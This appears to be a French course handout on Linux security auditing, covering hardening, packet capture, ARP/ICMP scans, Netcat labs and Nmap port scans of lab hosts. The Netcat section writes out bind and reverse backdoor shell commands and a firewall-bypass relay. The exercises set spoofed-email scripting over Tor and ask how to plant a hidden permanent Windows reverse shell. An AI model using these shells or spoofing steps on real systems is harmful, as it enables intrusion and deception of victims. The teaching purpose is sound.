Audit Linux
1. Introduction
1.1. Avertissement légal
Les exercices et les outils contenus ici sont fournis à titre pédagogique et sont à exécuter dans le cadre d’un trafic normal et responsable.
L’auteur décline toute responsabilité quant aux usages notamment malveillants que l’on pourrait leur trouver. Il est d’ailleurs fortement conseillé aux apprenants de solliciter uniquement des machines du LAN ou uniquement des serveurs leur appartenant.
Veuillez utiliser la connaissance pour le bien et dans le respect d’autrui. Derrière chaque machine, il y a des intérêts humains que vous ne pouvez pas soupçonner. C’est au lecteur de prendre la mesure et la portée des actions qu’il mène sur Internet et sur les ressources numériques auxquelles il a accès.
Pour le droit français, Le fait, sans motif légitime, d’importer, de détenir, d’offrir, de céder ou de mettre à disposition un équipement, un instrument, un programme informatique ou toute donnée conçus ou spécialement adaptés pour commettre une ou plusieurs des infractions prévues par les articles 323-1 à 323-3 est puni des peines prévues respectivement pour l’infraction elle-même ou pour l’infraction la plus sévèrement réprimée.
Pour toutes ces raisons, ce document est livré publiquement de manière limitée. Une livraison du document complet est possible sur demande auprès de l’auteur.
2. Renforcement (hardening) du système
Pour mémoire venant de https://www.thefanclub.co.za/how-to/how-secure-ubuntu-1604-lts-server-part-1-basics
Harden the security on an Ubuntu 16.04 LTS server by installing and configuring the following:
- Install and configure Firewall - ufw, firewalld, iptales-services/-persistent
- Secure shared memory - fstab
- SSH - Key based login, disable root login and change port
- Apache SSL - Disable SSL v3 support
- Protect su by limiting access only to admin group
- Harden network with sysctl settings
- Disable Open DNS Recursion and Remove Version Info - Bind9 DNS
- Prevent IP Spoofing
- Harden PHP for security
- Restrict Apache Information Leakage
- Install and configure Apache application firewall - ModSecurity
- Protect from DDOS (Denial of Service) attacks with ModEvasive
- Scan logs and ban suspicious hosts - DenyHosts and Fail2Ban
- Intrusion Detection - PSAD
- Check for RootKits - RKHunter and CHKRootKit
- Scan open Ports - Nmap
- Analyse system LOG files - LogWatch
- SELinux - Apparmor
- Audit your system security - Tiger and Tripwire
3. Analyseurs de paquets
Dès que l’on dispose d’une vue formelle des modèles TCP/IP et OSI, une activité d’observation du trafic réseau permet de s’initier à des pratiques plus avancées grâce à un analyseur de paquets. Un analyseur de paquets est un logiciel qui se met à l’écoute d’une des interfaces de l’ordinateur et qui met en mémoire le trafic qui passe par elle. L’analyseur de paquets est capable de décoder, sauvegarder, traiter, analyser et présenter la capture.
Un analyseur de paquets peut aussi être appelé en anglais : packet analyzer, network analyzer, protocol analyzer ou encore packet sniffer.
Wiresharsk est certainement le plus connu mais il en existe bien d’autres.
On citera en logiciels Open Source : tcpdump
, ngrep
, tshark
, dumpcap
, capinfos
, rawshark
, editcap
, mergecap
, text2cap
, reordercap
, …
Par ailleurs, on remarquera le logiciel et le service en ligne CloudShark qui permette de présenter des captures en version Web (partages, commentaires, wireshark-like).
Analyser des paquets permet de :
- comprendre et d’apprendre les protocoles
- de reproduire leur comportement
- de valider ces comportements
- de réaliser un audit de performance du réseau, d’identifier des problèmes dans une phase de diagnostic, d’implémenter du QoS dans le cadre de la gestion de la bande passante
- en cybersécurité, dans une phase de reconnaissance passive ou active, le sniffing permet d’interpréter les résultats d’une prise d’empreinte par le réseau
- dans un cadre plus défensif, les pots de miel (honeypots) et les systèmes de détection/prévention d’intrusions (IDS/IPS) utilisent la capture de trafic à des fins de journalisation ou de prise de décision
- En téléphonie, la capture de paquets aide à surveiller et à recomposer les conversations (dans un cadre légal strict : salles de marchés, services de centre d’appels, enquête légale, …)
Dans ce document d’initiation, on se limitera humblement à l’observation de trafic DNS (UDP) et HTTP (TCP).
3.1. Exercice 1 : Observation de trafic dans le “cloud”
Dans un navigateur Web, ouvrir la page Cloudshark https://www.cloudshark.org/captures/26c43039ccd6.
Observation de la capture dans cloudshark.
Filtrer selon les protocoles
dns
,http
ettcp
.Noter dans un schéma les phases d’une connexion UDP :
- Noter le schéma d’une connexion TCP :
- Noter le schéma du transfert HTTP
3.2. Exercice 2 : Créer un diagramme du réseau
- Veuillez créer un diagramme représentant les opérations décrites dans la capture.
3.3. Exercice 3 : Observation du trafic dans un outil local
Téléchargement et installation de Wireshark/Tshark.
Examen de la même capture avec Wireshark en interface graphique.
3.4. Exercice 4 : Élaboration des requêtes HTTP
Client wget
- La commande wget permet de récupérer une page Web.
wget https://www.test.tf/
Client netcat
- Etablir une session TCP
www.test.tf:80
avec l’utilitaire “netcat”.
nc www.test.tf 80
- Ensuite frapper la commande HTTP
GET
.
GET / HTTP/1.1
- Ensuite frapper deux fois le retour charriot (touche “enter/entrée”)
Client curl
- Exécuter la commande HTTP GET directement avec
curl
.
curl -X GET https://www.test.tf/
Client Web en Python (1)
Source : https://www.binarytides.com/receive-full-data-with-the-recv-socket-function-in-python/
- Création d’un script qui crée un socket get-raw-socket.py (Python 2) :
import socket, sys
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("www.test.tf", 80))
s.send("GET / HTTP/1.0\r\n\r\n")
while 1:
buf = s.recv(1000)
if not buf:
break
sys.stdout.write(buf)
s.close()
Serveur Web en Python (2)
- Création d’un script avec la librairie get-urllib2 :
import urllib2
response = urllib2.urlopen('https://www.test.tf/')
print response.info()
html = response.read()
print html
response.close()
Serveur Web en Python (3)
Plus simple encore, à partir de l’endroit du système de fichier à servir en HTTP sur le port 8080 avec les droits d’un utilisateur normal :
python -m SimpleHTTPServer 8080
3.4. Exercice 4 : Observation des sessions
- Observation des sessions TCP établies, des ports ouverts.
netstat -a
netstat -tnp
netstat -ltnp
Identifier les sessions établies
Identifier les ports à l’écoute TCP/UDP en IPv4 et en IPv6
netstat
netstat, pour « network statistics », est une ligne de commande affichant des informations sur les connexions réseau, les tables de routage et un certain nombre de statistiques dont ceux des interfaces, sans oublier les connexions masquées, les membres multicast, et enfin, les messages netlink. La commande est disponible sous Unix (et ses dérivés dont Linux) et sous Windows NT compatibles.
Les paramètres utilisés avec cette commande doivent être préfixés avec un « moins » plutôt qu’un slash (/).
- -a : Affiche toutes les connexions TCP actives et les ports TCP et UDP sur lesquels l’ordinateur écoute.
- -b : Affiche le nom du programme impliqué dans la création de chaque connexion et ports ouverts (Windows uniquement).
- -p : Affiche le nom du programme impliqué dans la création de chaque connexion et le PID associé (Linux uniquement).
- -e : Affiche les statistiques ethernet comme le nombre d’octets et de paquets envoyés et reçus. Ce paramètre peut être combiné avec -s.
- -n : Affiche les connexions TCP actives, cependant les adresses et les ports sont affichés au format numérique, sans tentative de résolution de nom.
- -o : Affiche les connexions TCP actives et inclut l’identifiant du processus (PID) pour chaque connexion. Vous pouvez retrouver la correspondance entre les PID et les applications dans le gestionnaire des tâches de Windows. Ce paramètre peut être combiné avec -a, -n et * -p. Ce paramètre est disponible sous Windows XP, et Windows 2003 Server mais pas sous Windows 2000.
- -i : Affiche les interfaces réseaux et leur statistiques (non disponibles sous Windows).
- -r : Affiche le contenu de la table de routage (équivalent à route print sous Windows).
- -s : Affiche les statistiques par protocole. Par défaut, les statistiques sont affichées pour IP, IPv6, ICMP, ICMPv6, TCP, TCPv6, UDP et UDPv6. L’option -p peut être utilisée pour spécifier un sous-jeu de la valeur par défaut.
- /? : Affiche l’aide (seulement sous Windows).
3.5. Exercice 5 : Capture du trafic
Capture avec Wireshark en interface grahique (démo)
Capture avec Tshark
tshark -i any -f "port 53 or port 80"
tshark -i any -f "port 53 or port 80" -w dns-http.pcap
- Capture avec Tcpdump
tcpdump -i any port 53 or port 80
tcpdump -i any port 53 or port 80 -w dns-http.pcap
4. Scans ARP
4.1. Protocole ARP
ARP est un protocole TCP/IP qui est encapsulé directement par un protocole LAN de couche 2 tel qu’Ethernet (802.3) ou Wi-Fi (802.11). Il ne traverse pas les routeurs. Il sert principalement à peupler la table ARP des interfaces TCP/IP. Cette table ARP est une table de correspondance entre une adresse IP à joindre et l’adresse de livraison locale sur un réseau IEEE 802, soit un LAN filaire et/ou sans fil.
On notera que ARP possède d’autres messages ou d’autres usages tels que RARP (service d’adresse IP) et IARP (avec Frame-Relay) mais rarement rencontrés.
RFC, image
4.2. Scanner ARP
Le scanner ARP envoie un message ARP Request (opcode 1) en broadcast FF:FF:FF:FF:FF:FF avec une charge Target IP Address prenant chaque adresse IPv4 d’une plage d’adresse. Ce trafic de diffusion est transféré par tous les ports d’un même commutateur ou dans un VLAN. Chaque interface qui reconnaît son adresse IPv4 dans ce message répond par un message ARP Reply (opcode 2) avec les adresses MAC unicast en origine et en destination. On notera que la charge ARP reprend à nouveau les adresses MAC des deux correspondants.
4.3. Intérêts d’un scanner ARP
Si le trafic ARP n’a de portée que sur le LAN ou le VLAN auquel une interface est connectée, il n’est jamais filtré ou vérifié par les hôtes terminaux. Quel que soit la configuration du pare-feu TCP/IP, l’hôte qui reconnait son adresse IPv4 dans le message répond. Cette procédure à l’avantage d’un gain de rapidité et succès par rapport aux autres types de scans ICMP, UDP ou TCP.
4.4. Table ARP
Ce sont les adresses IP et MAC de la charge ARP Reply qui servent à construire la table ARP de l’interface qui le reçoit. Ce trafic est la plupart du temps sollicité, c’est-à-dire qu’il fait partie d’un échange engagé par une requête.
4.5. Vulnérabilité intrinsèque ARP
Toutefois, rien n’empêche nos interface de mettre à jour leur table à la suite de messages ARP Reply gratuit, c’est-à-dire non sollicités. A cet égard sur le réseau local tous les hôtes sont vulnérables à une attaque d’homme du milieu (MITM). On appelle cette attaque une APR ARP Poison Routing.
4.6. Contre-mesure des attaques ARP
- Revisiter l’architecture du réseau local (LAN) qui segmentent le réseau en différents VLANs qui correspondent à des profils de sécurité.
- Implémenter une solution de type 802.1x/EAP/Radius (802.11i, WPA2-Entreprise)
- Activer des fonctionnalités de type IDS/IPS ARP.
- sur les commutateurs Cisco Deep ARP Inspection (DAI)
- Snort
- mon…
4.7. Outils de scans ARP
arp-scan
- Cain et Abel (Windows)
- scapy, python
- autres …
5. Scans ICMP
Mécanisme Echo Request/Echo Reply
Messages ICMP
A lire : Intrusion Detection FAQ: How can attacker use ICMP for reconnaissance?
Capture de trafic ICMP : https://www.cloudshark.org/captures/e64eaac12704?filter=icmp
5.1. Balayage ping (Ping Sweep) avec nmap -sn
Commande nmap -sn cible
nmap -sn 192.168.122.0/24
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 18:50 CET
Nmap scan report for 192.168.122.1
Host is up (0.0011s latency).
MAC Address: FE:54:00:01:69:7C (Unknown)
Nmap scan report for ubuntu-server (192.168.122.31)
Host is up (0.00082s latency).
MAC Address: 52:54:00:68:91:02 (QEMU Virtual NIC)
Nmap scan report for Kali2-03 (192.168.122.41)
Host is up (0.00053s latency).
MAC Address: 52:54:00:01:69:7C (QEMU Virtual NIC)
Nmap scan report for Kali2-01 (192.168.122.58)
Host is up (-0.096s latency).
MAC Address: 52:54:00:39:4A:E1 (QEMU Virtual NIC)
Nmap scan report for 192.168.122.89
Host is up (0.0021s latency).
MAC Address: 52:54:00:39:84:46 (QEMU Virtual NIC)
Nmap scan report for Kali2-02 (192.168.122.98)
Host is up (-0.100s latency).
MAC Address: 52:54:00:05:79:20 (QEMU Virtual NIC)
Nmap scan report for Kali2-05 (192.168.122.163)
Host is up (-0.10s latency).
MAC Address: 52:54:00:66:99:63 (QEMU Virtual NIC)
Nmap scan report for centos7-kvm-template (192.168.122.164)
Host is up (-0.10s latency).
MAC Address: 52:54:00:3C:EA:E7 (QEMU Virtual NIC)
Nmap scan report for DESKTOP-0TLULO6 (192.168.122.208)
Host is up (0.00089s latency).
MAC Address: 52:54:00:27:1D:D5 (QEMU Virtual NIC)
Nmap scan report for Kali2-06 (192.168.122.209)
Host is up (-0.100s latency).
MAC Address: 52:54:00:F5:FB:09 (QEMU Virtual NIC)
Nmap scan report for Kali2-04 (192.168.122.252)
Host is up (-0.100s latency).
MAC Address: 52:54:00:BD:B5:04 (QEMU Virtual NIC)
Nmap scan report for Kali2-0C (192.168.122.40)
Host is up.
Nmap done: 256 IP addresses (12 hosts up) scanned in 3.23 seconds
Note L’option -sP
envoie une requête d’echo ICMP et un paquet TCP sur le port par défaut (80).
Quelques outils qui utilisent le “ping sweep” :
- Angry IP Scanner (or simply ipscan) : https://angryip.org/
- Outils en ligne : https://ping.eu/ping/, https://network-tools.com/default.asp?prog=ping, …
5.2. Utilitaire fping
D’abord de la documentation
fping -h
Usage: fping [options] [targets...]
-a show targets that are alive
-A show targets by address
-b n amount of ping data to send, in bytes (default 56)
-B f set exponential backoff factor to f
-c n count of pings to send to each target (default 1)
-C n same as -c, report results in verbose format
-D print timestamp before each output line
-e show elapsed time on return packets
-f file read list of targets from a file ( - means stdin) (only if no -g specified)
-g generate target list (only if no -f specified)
(specify the start and end IP in the target list, or supply a IP netmask)
(ex. fping -g 192.168.1.0 192.168.1.255 or fping -g 192.168.1.0/24)
-H n Set the IP TTL value (Time To Live hops)
-i n interval between sending ping packets (in millisec) (default 25)
-I if bind to a particular interface
-l loop sending pings forever
-m ping multiple interfaces on target host
-n show targets by name (-d is equivalent)
-O n set the type of service (tos) flag on the ICMP packets
-p n interval between ping packets to one target (in millisec)
(in looping and counting modes, default 1000)
-q quiet (don't show per-target/per-ping results)
-Q n same as -q, but show summary every n seconds
-r n number of retries (default 3)
-s print final stats
-S addr set source address
-t n individual target initial timeout (in millisec) (default 500)
-T n ignored (for compatibility with fping 2.4)
-u show targets that are unreachable
-v show version
targets list of targets to check (if no -f specified)
Ensuite, on peut lancer un balayage ICMP qui reprend la liste des hôtes actifs, mais entre-temps on peut lancer une capture tcpdump :
tcpdump -v icmp &
fping -a -C 1 -i 300 -g 192.168.122.0/24
20:09:29.359558 IP (tos 0x0, ttl 64, id 8925, offset 0, flags [DF], proto ICMP (1), length 84)
Kali2-0C > 192.168.122.1: ICMP echo request, id 7814, seq 0, length 64
20:09:29.359608 IP (tos 0x0, ttl 64, id 45301, offset 0, flags [none], proto ICMP (1), length 84)
192.168.122.1 > Kali2-0C: ICMP echo reply, id 7814, seq 0, length 64
ICMP Host Unreachable from 192.168.122.40 for ICMP Echo sent to 192.168.122.2
192.168.122.1 : 0.09
6. Utiliser Netcat
6.1. Objectifs
- Travail en solo ou en équipe :
- topologie client
- topologies client/server
- pare-feu
- Monter des sessions TCP et UDP avec Netcat :
- dans le LAN
- dans l’Internet
- A travers un pare-feu
- Rapport de lab
Prenez uniquement des cibles autorisées !
6.2. Netcat
Netcat est un utilitaire Unix simple qui permet de gérer les sockets (connexions réseaux), c’est-à-dire qu’il est capable d’établir n’importe qu’elle connexion à un serveur, en choisissant le port, l’IP etc.
Il est conçu pour être un outil “back-end “ et peut-être utilisé directement par d’autres programmes et/ou scripts.
Netcat est distribué librement sous la licence GNU Licence Publique Générale (GPL).
Netcat n’est pas nécessairement un outil de sécurité mais il est avant tout un outil de hacking. A priori, quelque soit l’environnement dans lequel il est utilisé, il n’exige aucun droit d’administration pour être exécuté.
Réalisons toutefois que cet outil rudimentaire peut mener diverses attaques qui sont vues ici à titre pédagogique :
- scan réseau,
- scan de ports TCP/UDP,
- Banner grabbing
- Chat ASCII
- Remote Backdoor Shell
- Reverse Remote Backdoor Shell
- Communications sécurisées SSL/Tor
Couteau suisse TCP/UDP
Binaire Windows à télécharger : https://joncraton.org/files/nc111nt.zip (mot de passe : nc)
Sous Linux, on trouvera un binaire traditionnel nc
et une version améliorée fournie avec nmap
, ncat
.
Syntaxe de Netcat
nc -h
[v1.10]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive]
Labs à réaliser
- Topologies client :
- Scan de ports et multi-ports
- Trafic Legacy (HTTP, SMTP, …)
- Torify du trafic netcat
- Topologies client/serveur :
- Charge TCP/UDP en ASCII (chat)
- Transfert de fichier
- Backdoor Shell
- Reverse Backdoor Shell
- Relay à travers un proxy filtrant
Consoles nécessaires
- Ouvrez un bloc-note gdrive pour y collecter vos essais (à partager avec le prof). Une machine (topologies client) dans un premier temps ou deux machines (topologies client/server).
- Une console de commande pour Netcat (Linux ou Windows).
- Une console de diagnostic (netstat ou ipconfig).
- Wireshark ou tcpdump.
- Sous Windows configurer le pare-feu finement.
6.2. Topologies client
Scan de ports
nc -v -w 1 -z cisco.foo.bar 80
cisco.foo.bar [8.9.10.11] 80 (http) open
nc -vzw 1 cisco.foo.bar 22
cisco.foo.bar [8.9.10.11] 22 (ssh) open
nc -vzw 1 cisco.foo.bar 23
cisco.foo.bar [8.9.10.11] 23 (telnet) : Connection refused
nc -vzw 1 cisco.foo.bar 53
cisco.foo.bar [8.9.10.11] 53 (domain) : Connection refused
nc -vzw 1 cisco.foo.bar 8080
cisco.foo.bar [8.9.10.11] 8080 (http-alt) open
nc -vzw 1 cisco.foo.bar 25
cisco.foo.bar [8.9.10.11] 25 (smtp) : Connection refused
nc -vzw 1 relay.skynet.be 25
relay.skynet.be [195.238.5.128] 25 (smtp) open
nc -vzw 1 8.8.8.8 53
google-public-dns-a.google.com [8.8.8.8] 53 (domain) open
Scan Multi-ports
nc -vzw 1 cisco.foo.bar 1-255
cisco.foo.bar [8.9.10.11] 143 (imap) open
cisco.foo.bar [8.9.10.11] 111 (sunrpc) open
cisco.foo.bar [8.9.10.11] 110 (pop3) open
cisco.foo.bar [8.9.10.11] 80 (http) open
cisco.foo.bar [8.9.10.11] 22 (ssh) open
Que se passe-t-il avec l’option -r ?
nc -rvzw 1 cisco.foo.bar 1-255
Quelles sont les sessions TCP qui indiquent un port ouvert ou fermé ?
Ports ouverts / ports fermés
Quelles sont les sessions TCP qui indiquent un port ouvert ou fermé ?
nc -vzw 1 cisco.foo.bar 80-81 :
Banner Gathering
nc -v cisco.foo.bar 22
cisco.foo.bar [8.9.10.11] 22 (ssh) open
SSH-2.0-OpenSSH_5.5p1 Debian-6+squeeze1
echo -e "HEAD / HTTP/1.0\n" | nc -v cisco.foo.bar 80
cisco.foo.bar [8.9.10.11] 80 (http) open
HTTP/1.1 400 Bad Request
Date: Sun, 12 Jan 2014 15:32:26 GMT
Server: Apache/2.2.16 (Debian)
Vary: Accept-Encoding
Content-Length: 310
Connection: close
Content-Type: text/html; charset=iso-8859-1
...
Script d’envoi SMTP
- Basé sur : https://giantdorks.org/alain/smtp-test-message-via-shell-script-using-netcat-instead-of-telnet/
#!/bin/bash
# script to send test mail with netcat.
# expects the following arguments:
# 1. recepient mail server
# 2. port (typically 25 or 465)
# 3. mail from (e.g. from@example.com)
# 4. mail to (e.g. to@example.com)
# for mail_input function
from=$3
to=$4
# error handling
function err_exit { echo -e 1>&2; exit 1; }
# check if proper arguments are supplied
if [ $# -ne 4 ]; then
echo -e "\n Usage error!"
echo " This script requires four arguments:"
echo " 1. recepient mail server"
echo " 2. port (typically 25 or 465)"
echo " 3. mail from (e.g. from@example.com)"
echo " 4. mail to (e.g. to@example.com)"
exit 1
fi
# create message
function mail_input {
# echo "ehlo $(hostname -f)"
echo "ehlo 10.10.10.10"
echo "MAIL FROM: <$from>"
echo "RCPT TO: <$to>"
echo "DATA"
echo "From: <$from>"
echo "To: <$to>"
echo "Subject: Testing one two three"
echo "This is only a test. Please do not panic. If this works, then all is well, else all is not well."
echo "In closing, Lorem ipsum dolor sit amet, consectetur adipiscing elit."
echo "."
echo "quit"
}
# test
#mail_input
# send
mail_input | nc $1 $2 || err_exit
vi smtp-test.sh
chmod +x smtp-test.sh
./smtp-test.sh relay.skynet.be 25 zozo@zozo.be goffinet@goffinet.eu
220 relay.skynet.be ESMTP
250-relay.skynet.be
250-8BITMIME
250 SIZE 16777216
250 sender <zozo@zozo.be> ok
250 recipient <goffinet@goffinet.eu> ok
354 go ahead
250 ok: Message 170208462 accepted
221 relay.skynet.be
- relay.skynet.be 25 -> trafic SMTP autorisé par le FAI Test à faire chez son propre FAI ou un relai SMTP ouvert.
Message reçu
Delivered-To: goffinet@goffinet.eu
Received: by 10.182.155.65 with SMTP id vu1csp53918obb;
Sat, 11 Jan 2014 20:21:59 -0800 (PST)
X-Received: by 10.194.85.75 with SMTP id f11mr15767833wjz.47.1389500518905;
Sat, 11 Jan 2014 20:21:58 -0800 (PST)
Return-Path: <zozo@zozo.be>
Received: from mailrelay005.isp.belgacom.be (mailrelay005.isp.belgacom.be. [195.238.6.171])
by mx.google.com with ESMTP id bp4si6953453wjb.110.2014.01.11.20.21.58
for <goffinet@goffinet.eu>;
Sat, 11 Jan 2014 20:21:58 -0800 (PST)
Received-SPF: softfail (google.com: domain of transitioning zozo@zozo.be does not designate 195.238.6.171 as permitted sender) client-ip=195.238.6.171;
Authentication-Results: mx.google.com;
spf=softfail (google.com: domain of transitioning zozo@zozo.be does not designate 195.238.6.171 as permitted sender) smtp.mail=zozo@zozo.be
Message-Id: <073a06$ornfl8@relay.skynet.be>
Date: 12 Jan 2014 05:21:36 +0100
X-Belgacom-Dynamic: yes
X-IronPort-Anti-Spam-Filtered: true
X-IronPort-Anti-Spam-Result: AnGJADQY0lJtgd8C/2dsb2JhbABagwtwB4IvJ4J1okgBkg4BYxd0gkWBeiSIGwGaEpQypGSCZ4E6BKosg2k
Received: from 2.223-129-109.adsl-dyn.isp.belgacom.be (HELO 10.10.10.10) ([109.129.223.2])
by relay.skynet.be with ESMTP; 12 Jan 2014 05:21:36 +0100
From: <zozo@zozo.be>
To: <goffinet@goffinet.eu>
Subject: Testing one two three
This is only a test. Please do not panic. If this works, then all is well, else all is not well.
In closing, Lorem ipsum dolor sit amet, consectetur adipiscing elit.
Connaître son adresse IP publique
nc -v checkip.eurodyndns.org 80
checkip.eurodyndns.org [80.92.65.89] 80 (http) open
GET https://checkip.eurodyndns.org/ HTTP/1.0\n
HTTP/1.1 200 OK
Date: Sun, 12 Jan 2014 15:46:47 GMT
Server: Apache
Content-Length: 160
Keep-Alive: timeout=15, max=189
Connection: close
Content-Type: text/html; charset=UTF-8
<html><head><title>Current IP Check</title></head>
<body bgcolor=white text=black>
Current IP Address: 109.129.223.2
<br>Hostname: 109.129.223.2
</body></html>
Torify le trafic netcat
Tor permet de rendre anonymes tous les échanges Internet basés sur le protocole de communication TCP.
ncat --proxy 127.0.0.1:9050 --proxy-type socks4 checkip.eurodyndns.org 80
GET https://checkip.eurodyndns.org/ HTTP/1.0\n
HTTP/1.1 200 OK
Date: Sun, 12 Jan 2014 15:49:32 GMT
Server: Apache
Content-Length: 169
Keep-Alive: timeout=15, max=189
Connection: close
Content-Type: text/html; charset=UTF-8
<html><head><title>Current IP Check</title></head>
<body bgcolor=white text=black>
Current IP Address: 109.163.234.5
<br>Hostname: hessel3.torservers.net
</body></html>
6.3. Topologies client/serveur
Sockets et sessions TCP maîtrisées
Vérifiez les sessions établies dans une seconde console Ouverture d’un socket en mode listening du port 1337 (Serveur TCP 1337), dans la console :
nc -l -p 1337
Pour faire très simple, on ouvre le port 1337 sur notre machine en local et on tend l’oreille !
(Il vaut mieux autoriser le pare-feu)
Connexion du client au serveur
nc cisco.foo.bar 1337
Chat TCP1337
Résultat : https://www.cloudshark.org/captures/b648fa680eae
Client/Serveur UDP
Le paramètre -u monte des sessions UDP.
Illustrez ce cas dans un exemple.
Capturez ce trafic et comparez aux messages de chat en TCP.
Transfert de fichiers
Un fichier à transférer “file.txt” du serveur Alice au client Bob (download).
Serveur Alice
nc -l 4444 < file.txt
Client Bob
nc -n 192.168.1.100 4444 > file.txt
Un fichier à transférer “file.txt” du client Bob au serveur Alice (upload)
Serveur Alice
nc -l 4444 > file.txt
Client Bob
nc 192.168.1.100 4444 < file.txt
Chiffrement du trafic avec openssl
Serveur
nc -l 4444 | openssl enc -d -des3 -pass pass:password > file.txt
Client
openssl enc -des3 -pass pass:password | nc 192.168.1.100 4444
Backdoor
Pour exécuter une attaque Backdoor :
Sur la machine à joindre
nc –l –p 3333 –v –e cmd.exe
ou
nc -l -p 3333 -v -e /bin/bash -i
Sur la machine distante
nc 8.9.10.11 3333
Oui mais comment traverser un pare-feu ?
Reverse Backdoor
Pour exécuter une attaque Backdoor :
Sur la machine à joindre
nc –l –p 3333
Sur la machine distante
nc 8.9.10.11 3333 -e cmd.exe
Configuration relay
Sometimes its useful to have little things like this available. But first, let me outline the scenario :
- You want ssh connection with a system
- The firewall is blocking inbound SSH connections
Assuming that you already have some sort of shell access on the target machine, This is your nice little work around:
$ mknod redirect p
$ nc -l -p [permitted_inbound_port] 0< redirect | nc 127.0.0.1 22 1> redirect
It works with two simply steps:
- Creates a named pipe using the first command.
- Creates a netcat listener that will redirect incoming connections to our pipe, which in turn uses the contents of our pipe as the input for an ssh connection to localhost on the target machine.
- To connect, you simply connect to the machine using the appropriate login, yet with a different port:
$ ssh [login]@[target] -p [port_of_netcat_listener]
- Source : https://securityreliks.securegossip.com/2010/09/standard-netcat-relay/
6.4. Travail de laboratoire
Exercices
- Mettre en oeuvre chaque attaque du document et rendre un travail qui reprend la réalisation de trois scripts : Script qui scanne une plage d’adresses IP et de ports en guise de paramètres.
- Script qui vérifie la présence de TOR et qui envoie un courriel usurpé en annonçant l’adresse IP publique anonyme, (l’adresse IP publique du FAI et l’adresse IP privée) de l’expéditeur.
- Script de transfert de dossier compressé et crypté en openssl
- Question de réflexion : comment installer un reverse backdoor shell Windows permanent à l’insu de l’administrateur ?
Document de laboratoire
Pour chaque attaque, un document (gdrive) qui vient remplir un cahier de laboratoires :
- Un diagramme (LucidChart) avec le nom des machines, adresses IP, ports, rôles, filtrage.
- Etat des sessions (netstat -a)
- Capture (Wireshark et Cloudshark)
- Console de commande netcat
- Console auxiliaire (TOR)
- Indiquer les paramètres de pare-feu
7. Utiliser Nmap
7.1. Etablissement de sessions TCP 3 Way Handshake
- Machine à état TCP
- Numéros de séquence et acquittement
- Structure et comparaison des en-têtes
- Drapeaux TCP
- Numéros de ports : https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers
- Analyse de trafic SYN, SYN/ACK, ACK : https://www.cloudshark.org/captures/26c43039ccd6
- Analyse de trafic refusé par une pare-feu : https://www.cloudshark.org/captures/7c9253084c76
7.2. Machine à état TCP
7.3. Numéros de séquence et acquittement
7.4. Drapeaux TCP
- SYN : demande d’établissement de session ou de synchronisation des numéros de séquence
- ACK : confirme la transmission reçue et identifie le prochain numéro de séquence attendu (accusé de réception anticipatif)
- PSH : demande de pousser (envoyer) les données en mémoire tampon
- URG : données urgentes
- FIN : plus de transmissions à réaliser
- RST : remise à zéro d’une connexion
Un scan de ports TCP implique les champs drapeaux SYN, ACK et RST.
7.5. Scan de ports avec NMAP
Nmap (“Network Mapper”) est un outil open source d’exploration réseau et d’audit de sécurité. Il a été conçu pour rapidement scanner de grands réseaux, mais il fonctionne aussi très bien sur une cible unique.
Nmap est généralement utilisé pour les audits de sécurité mais de nombreux gestionnaires de systèmes et de réseaux l’apprécient pour des tâches de routine comme les inventaires de réseau, la gestion des mises à jour planifiées ou la surveillance des hôtes et des services actifs.
L’état d’un port est soit :
- ouvert (open) : indique que l’application de la machine cible est à l’écoute de paquets/connexions sur ce port.
- filtré (filtered) : indique qu’un pare-feu, un dispositif de filtrage ou un autre obstacle réseau bloque ce port, empêchant ainsi Nmap de déterminer s’il s’agit d’un port ouvert ou fermé.
- fermé (closed) : n’ont pas d’application en écoute, bien qu’ils puissent quand même s’ouvrir n’importe quand.
- ou non-filtré (unfiltered) : les ports répondent aux paquets de tests (probes) de Nmap, mais Nmap ne peut déterminer s’ils sont ouverts ou fermés.
Nmap renvoie également les combinaisons d’états** ouverts | filtré** et **fermés | filtré** lorsqu’il n’arrive pas à déterminer dans lequel des deux états possibles se trouve le port. |
7.6. Scan TCP Connect
C’est la commande -sT
qui spécifie ce type de scan traditionnel. Voici des sorties sur un scan TCP Connect sur les ports biens connus d’une machine metaspoitable.
Plutôt que d’écrire des paquets bruts comme le font la plupart des autres types de scan, Nmap demande au système d’exploitation qui l’exécute d’établir une connexion sur le port de la machine cible grâce à l’appel système connect(). C’est le même appel système de haut-niveau qui est appelé par les navigateurs Web, les clients P2P et la plupart des applications réseaux qui veulent établir une connexion.
# nmap -sT -Pn 192.168.122.191
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 20:30 CET
Nmap scan report for 192.168.122.191
Host is up (0.0099s latency).
Not shown: 978 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
53/tcp open domain
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
3306/tcp open mysql
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
8009/tcp open ajp13
8180/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 2.50 seconds
Capture sur le port TCP 21 avec tcpdump
# tcpdump tcp port 21 &
[1] 14109
# tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
Scan sur le port TCP 21 avec nmap
# nmap -sT -p 21 -Pn 192.168.122.191
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 20:32 CET
Nmap scan report for 192.168.122.191
Host is up (0.00028s latency).
PORT STATE SERVICE
21/tcp open ftp
Nmap done: 1 IP address (1 host up) scanned in 0.03 seconds
Résultat de la capture de Kali2-0C
vers 192.168.122.191.ftp
:
